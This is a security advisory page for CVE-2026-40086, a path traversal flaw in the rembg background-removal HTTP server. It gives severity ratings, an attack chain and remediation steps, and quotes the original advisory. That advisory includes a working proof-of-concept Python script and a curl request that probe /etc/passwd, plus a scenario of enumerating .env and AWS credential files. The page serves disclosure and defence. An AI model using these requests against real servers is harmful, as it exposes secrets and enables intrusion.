CVE-2026-40086: rembg: path traversal exposes arbitrary files via HTTP API

GHSA-3wqj-33cg-xc48 MEDIUM CISA: TRACK*
Published April 10, 2026
CISO Take

rembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

Despite the CVSS 5.3 Medium score, the operational risk for any rembg HTTP server deployment is significantly higher. The attack is unauthenticated, requires no user interaction, and demands no AI or security expertise — a single HTTP POST with a crafted JSON body is the complete exploit. Cloud and containerized deployments that expose port 7000 to internal networks or the public internet are fully exposed to filesystem enumeration and credential harvesting. The OpenSSF scorecard of 8.1/10 reflects reasonable project hygiene but does not mitigate this exposure. Risk should be treated as HIGH for any environment running rembg in server mode outside of a strictly isolated context.

How does the attack unfold?

Initial Access
Attacker discovers an exposed rembg HTTP server (default port 7000) via network scanning or cloud asset enumeration and confirms the /api/remove endpoint responds to unauthenticated requests.
AML.T0049
Path Injection
Attacker crafts a POST to /api/remove with extras={"model_path":"/app/.env"} and a minimal PNG, passing an arbitrary filesystem path through the unsanitized extras parameter into the model loading code path.
AML.T0006
Filesystem Enumeration
onnxruntime attempts to parse the attacker-specified file as an ONNX model; the differential error responses (Protobuf parsing failed / Permission denied / File doesn't exist) leak file existence and readability status for each probed path.
AML.T0037
Credential Exfiltration
Attacker systematically enumerates and confirms credential files (.env, ~/.aws/credentials, config files), harvesting secrets for lateral movement into cloud infrastructure or connected AI services.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
ONNX pip < 2.0.75 2.0.75
21.0K OpenSSF 8.8 1.2K dependents Pushed 3d ago 91% patched ~33d to patch Full package profile →

Do you use ONNX? You're affected.

How severe is it?

CVSS 3.1
5.3 / 10
EPSS
0.6%
chance of exploitation in 30 days
Higher than 44% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C Low
I None
A None

What should I do?

6 steps
  1. Patch now

    Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface.

  2. Interim network control

    Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it.

  3. Reverse proxy with auth

    Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment.

  4. Least privilege

    Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers.

  5. Detection

    Grep server logs for extras parameters containing path separators (/, .., ~); alert on onnxruntime error strings Protobuf parsing failed or NO_SUCHFILE referencing non-model paths.

  6. Audit exposure

    Scan internal networks for port 7000 to identify any unprotected rembg instances.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
8.4 - AI system input controls
NIST AI RMF
MANAGE 2.2 - Mechanisms are in place to identify and address security risks throughout the AI lifecycle
OWASP LLM Top 10
LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-40086?

rembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.

Is CVE-2026-40086 actively exploited?

No confirmed active exploitation of CVE-2026-40086 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-40086?

1. **Patch now**: Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface. 2. **Interim network control**: Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it. 3. **Reverse proxy with auth**: Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment. 4. **Least privilege**: Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers. 5. **Detection**: Grep server logs for `extras` parameters containing path separators (`/`, `..`, `~`); alert on onnxruntime error strings `Protobuf parsing failed` or `NO_SUCHFILE` referencing non-model paths. 6. **Audit exposure**: Scan internal networks for port 7000 to identify any unprotected rembg instances.

What systems are affected by CVE-2026-40086?

This vulnerability affects the following AI/ML architecture patterns: model serving, AI/ML API services, containerized ML workloads.

What is the CVSS score for CVE-2026-40086?

CVE-2026-40086 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 0.59%.

What is the AI security impact?

Affected AI Architectures

model servingAI/ML API servicescontainerized ML workloads

MITRE ATLAS Techniques

AML.T0006 Active Scanning
AML.T0025 Exfiltration via Cyber Means
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

ISO 42001: 8.4
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

## Summary A **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. **CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path) --- ## Details ### Vulnerable Code Flow The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`). **1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202) ```python def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response: kwargs = {} if commons.extras: try: kwargs.update(json.loads(commons.extras)) # ❌ No validation except Exception: pass # ... session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs ``` The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation. **2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83) ```python @classmethod def download_models(cls, *args, **kwargs): model_path = kwargs.get("model_path") if model_path is None: raise ValueError("model_path is required") return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation ``` The `model_path` is returned with tilde expansion but no validation against path traversal. **3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38) ```python self.inner_session = ort.InferenceSession( str(self.__class__.download_models(*args, **kwargs)), # Reads file # ... ) ``` The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file. ### Root Cause The custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation. --- ## PoC ### Prerequisites - Python 3.10+ - rembg installed with CLI support: `pip install "rembg[cpu,cli]"` ### Step 1: Start the Vulnerable Server Open a terminal and run: ```bash rembg s --host 0.0.0.0 --port 7000 ``` You should see output like: ``` To access the API documentation, go to http://localhost:7000/api To access the UI, go to http://localhost:7000 ``` ### Step 2: Send the Exploit Request Open a **second terminal** and run this Python script: ```python import requests import json import urllib.parse from io import BytesIO # Minimal valid 1x1 PNG image (required for the request) MINIMAL_PNG = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 ]) # Target paths to test test_paths = [ "/etc/passwd", # System file (should exist) "/nonexistent/file.txt", # Non-existent file ] for path in test_paths: print(f"\n[*] Testing path: {path}") # Build request - extras must be in URL query string extras = json.dumps({"model_path": path}) url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}" response = requests.post( url, files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")}, data={"model": "u2net_custom"}, timeout=30 ) print(f" Status: {response.status_code}") print(f" Response: {response.text[:100]}") ``` Or use **curl** directly: ```bash # Create a minimal PNG file python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png # Send exploit request targeting /etc/passwd curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \ -F "model=u2net_custom" \ -F "file=@/tmp/test.png" ``` ### Step 3: Verify in Server Logs Go back to the **first terminal** where the server is running. You will see error messages like: ``` onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: [ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed. ``` ``` onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: [ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist ``` ### Understanding the Results | Server Log Message | What It Proves | |-------------------|----------------| | `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime | | `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission | | `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration | **The key proof:** The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that: 1. The attacker-controlled path was passed through without validation 2. `onnxruntime.InferenceSession()` attempted to **read the file contents** 3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf --- ## Impact ### Who is Affected? - **All users** running `rembg s` (HTTP server mode) - **Cloud deployments** where rembg is exposed as an API service - **Docker containers** running rembg server ### Attack Scenarios 1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files) 2. **Credential Discovery**: Attacker checks for common credential files 3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration 4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory ### What is NOT Affected? - CLI usage (`rembg i`, `rembg p`) - users already have local file access - Library usage - developers control the input --- ## Recommended Fix ### Option 1: Disable Custom Models for HTTP API (Recommended) Remove custom model types from the HTTP API session list: ```python # In s_command.py, filter out custom models ALLOWED_HTTP_MODELS = [ name for name in sessions_names if not name.endswith('_custom') ] # Use ALLOWED_HTTP_MODELS in the model parameter regex model: str = Query( regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")", default="u2net", ) ``` ### Option 2: Validate model_path Against Allowlist If custom models must be supported via HTTP: ```python import os ALLOWED_MODEL_DIRS = [ os.path.expanduser("~/.u2net"), "/app/models", # or your designated model directory ] def validate_model_path(path: str) -> str: """Validate model path is within allowed directories.""" abs_path = os.path.abspath(os.path.expanduser(path)) for allowed_dir in ALLOWED_MODEL_DIRS: allowed_abs = os.path.abspath(allowed_dir) if abs_path.startswith(allowed_abs + os.sep): return abs_path raise ValueError(f"model_path must be within allowed directories") ``` ### Option 3: Document Security Considerations At minimum, add security warnings to the documentation: ```markdown ⚠️ **Security Warning**: When running `rembg s` in production: - Do NOT expose the server directly to the internet - Use a reverse proxy with authentication - Consider disabling custom model support ``` --- ## References - **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal) ---

Exploitation Scenario

An adversary performing internal reconnaissance after initial network access — or scanning exposed cloud infrastructure — identifies a rembg HTTP server on port 7000. They submit a POST request to `/api/remove?extras=%7B%22model_path%22%3A%22%2Fapp%2F.env%22%7D` with a minimal 1×1 PNG. The server passes the unsanitized path directly to onnxruntime, which reads the `.env` file and returns an error confirming it was read but is not a valid ONNX protobuf. The attacker iterates across common credential paths — AWS credentials (`~/.aws/credentials`), database URIs, Stripe or OpenAI API keys embedded in environment files — building a complete credential map. These credentials are then used to pivot into cloud infrastructure, connected databases, or upstream AI service accounts. The entire attack leaves minimal traces beyond standard HTTP access logs.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Timeline

Published
April 10, 2026
Last Modified
April 10, 2026
First Seen
April 11, 2026

Related Vulnerabilities